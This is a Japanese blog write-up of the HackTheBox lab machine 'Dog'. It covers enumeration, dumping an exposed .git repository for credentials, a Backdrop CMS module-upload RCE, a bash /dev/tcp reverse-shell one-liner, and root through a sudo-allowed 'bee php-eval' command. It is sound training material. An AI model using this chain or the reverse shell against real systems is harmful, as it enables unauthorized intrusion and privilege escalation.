1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

HackTheBox Dog Writeup(日本語)

Posted at

はじめに

こんにちは、一般大学院生です。
この記事は、HackTheBoxのEasyマシン、「Dog」の日本語Writeupです。
最近RetiredになったのでWriteupを公開させていただきます。

ポートスキャン

nmapを使ってポートスキャンを行います。

┌──(kali㉿kali)-[~]
└─$ nmap -p- --min-rate 2000 10.10.11.58 -sC -sV 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-07-16 00:05 PDT
Nmap scan report for 10.10.11.58
Host is up (0.19s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:2a:d2:2c:89:8a:d3:ed:4d:ac:00:d2:1e:87:49:a7 (RSA)
|   256 27:7c:3c:eb:0f:26:e9:62:59:0f:0f:b1:38:c9:ae:2b (ECDSA)
|_  256 93:88:47:4c:69:af:72:16:09:4c:ba:77:1e:3b:3b:eb (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.md /web.config /admin 
| /comment/reply /filter/tips /node/add /search /user/register 
|_/user/password /user/login /user/logout /?q=admin /?q=comment/reply
| http-git: 
|   10.10.11.58:80/.git/
|     Git repository found!
|     Repository description: Unnamed repository; edit this file 'description' to name the...
|_    Last commit message: todo: customize url aliases.  reference:https://docs.backdro...
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Home | Dog
|_http-generator: Backdrop CMS 1 (https://backdropcms.org)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.15 seconds

22と80が空いてますね。httpの方は/.gitディレクトリがあるようです。

列挙

80番ポート

スクリーンショット 2025-07-16 16.22.53.png

犬の健康に関する情報が載ってるサイトっぽいですね。
フッターを見るとBackdropというCMSを使ってサイトを作っていることがわかります。(バージョンは書いてない)

スクリーンショット 2025-07-16 16.24.59.png

ソースコードも見ましたが、特に重要そうなものはありませんでした。

nmap-sCオプションの結果から/.git/ディレクトリがあるのはわかったのですが、一応gobusterでディレクトリの探索を行います。

┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://10.10.11.58 -w /usr/share/wordlists/dirb/common.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.58
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/common.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.hta                 (Status: 403) [Size: 276]
/.git/HEAD            (Status: 200) [Size: 23]
/.htaccess            (Status: 403) [Size: 276]
/.htpasswd            (Status: 403) [Size: 276]
/core                 (Status: 301) [Size: 309] [--> http://10.10.11.58/core/]
/files                (Status: 301) [Size: 310] [--> http://10.10.11.58/files/]
/index.php            (Status: 200) [Size: 13332]
/layouts              (Status: 301) [Size: 312] [--> http://10.10.11.58/layouts/]
/modules              (Status: 301) [Size: 312] [--> http://10.10.11.58/modules/]
/robots.txt           (Status: 200) [Size: 1198]
/server-status        (Status: 403) [Size: 276]
/sites                (Status: 301) [Size: 310] [--> http://10.10.11.58/sites/]
/themes               (Status: 301) [Size: 311] [--> http://10.10.11.58/themes/]
Progress: 4614 / 4615 (99.98%)
===============================================================
Finished
===============================================================

301リダイレクトされてるディレクトリはCMS関連のものですかね?いずれにしても.gitでソースコードが見られそうです。

git-dumper

gitディレクトリの列挙には、git-dumperというツールを使います。git-dumperはリポジトリをダウンロードして使用できるツールです。

$ python3 git_dumper.py http://10.10.11.58/.git/ ./dog_git_repo

リポジトリ内を探索します。ファイル内の文字列検索には、以下のコマンドを使いました。

$ find . -type f -exec grep -l "hogehoge" {} +

/core/modules/system内のいくつかのファイルから、

version = 1.27.1

があったので、おそらくBackdropCMSのバージョンは1.27.1なのかなと思いました。
ブラウザでBackdropCMS1.27.1を検索すると、RCEの脆弱性があることが分かりました。

しかしこの攻撃は、ログインを行う必要があります。
引き続き、クレデンシャル情報の探索を行った結果、tiffanyというユーザがいることが分かりました。

┌──(kali㉿kali)-[~/Downloads/git-dumper/dog_git_repo]
└─$ find . -type f -exec grep -l "dog.htb" {} +  
./files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.json
./.git/logs/refs/heads/master
./.git/logs/HEAD
                                                                                                                                                                                   
┌──(kali㉿kali)-[~/Downloads/git-dumper/dog_git_repo]
└─$ cat ./files/config_83dddd18e1ec67fd8ff5bba2453c7fb3/active/update.settings.json
{
    "_config_name": "update.settings",
    "_config_static": true,
    "update_cron": 1,
    "update_disabled_extensions": 0,
    "update_interval_days": 0,
    "update_url": "",
    "update_not_implemented_url": "https://github.com/backdrop-ops/backdropcms.org/issues/22",
    "update_max_attempts": 2,
    "update_timeout": 30,
    "update_emails": [
        "tiffany@dog.htb"
    ],
    "update_threshold": "all",
    "update_requirement_type": 0,
    "update_status": [],
    "update_projects": []
}

また、settings.phpからDBのパスワード情報を取得できました。

$database = 'mysql://root:Ba[Redacted]24@127.0.0.1/backdrop';

これらを使って、ログインすることができました!

スクリーンショット 2025-07-16 17.46.03.png

侵入

PoCを実行します。

$ python3 52021.py http://10.10.11.58

しかし、シェルはアップロードできていませんでした。プログラムでは、/admin/modules/installshell.zipをアップロードしているので、直接アクセスしてアップロードしてみたところ、エラーが出ました。

スクリーンショット 2025-07-16 17.57.54.png

どうやら、zip拡張子をサポートしておらず、アップロードできないようです。シェルを.tarで圧縮し再度やってみると、アップロードできました。

PoCでは、/modules/shell/shell.phpにアップロードしたシェルが置かれるようなので、アクセスしてみました。

スクリーンショット 2025-07-16 18.01.18.png

cat /etc/passwdを実行したところ、johncusackというユーザがいることが分かります。

スクリーンショット 2025-07-16 18.03.20.png

このシェルは一定時間が経つと消されてしまうので以下をシェルに入力して(ncで待ち受けて)リバースシェルを確立します。

bash -i >& /dev/tcp/IP/PORT 0>&1

homeディレクトリでユーザが二人いることが分かります。

スクリーンショット 2025-07-16 18.14.12.png

このうちjohncusackのユーザでtiffanyのパスワードを使うと、SSHログインできました。(パスワードの使い回しは良くないですね)

┌──(kali㉿kali)-[~/Downloads]
└─$ ssh johncusack@10.10.11.58
~~~
~~~
johncusack@dog:~$
johncusack@dog:~$ cat user.txt
1a[Redacted]97

ルートフラグ

johncusack@dog:~$ sudo -l
[sudo] password for johncusack: 
Matching Defaults entries for johncusack on dog:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User johncusack may run the following commands on dog:
    (ALL : ALL) /usr/local/bin/bee

beeというコマンドが怪しいです。beeのオプションでは、

eval
   ev, php-eval
   Evaluate (run/execute) arbitrary PHP code after bootstrapping Backdrop.

があり、任意のPHPコードを実行できるようです。以下のコマンドで権限昇格することができました!

johncusack@dog:~$ sudo bee --root=/var/www/html php-eval 'system("whoami")'
root
johncusack@dog:~$ sudo bee --root=/var/www/html php-eval 'system("/bin/bash")'
root@dog:/var/www/html# cd /root
root@dog:~# cat root.txt
f6[Redacted]a6

おわりに

Gitリポジトリの探索にかなり時間がかかった分、ログインできたときは凄く嬉しかったです。
探索の仕方やCMS脆弱性の特定、リバースシェルの確立など、多くのことを学ぶことができました。

1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?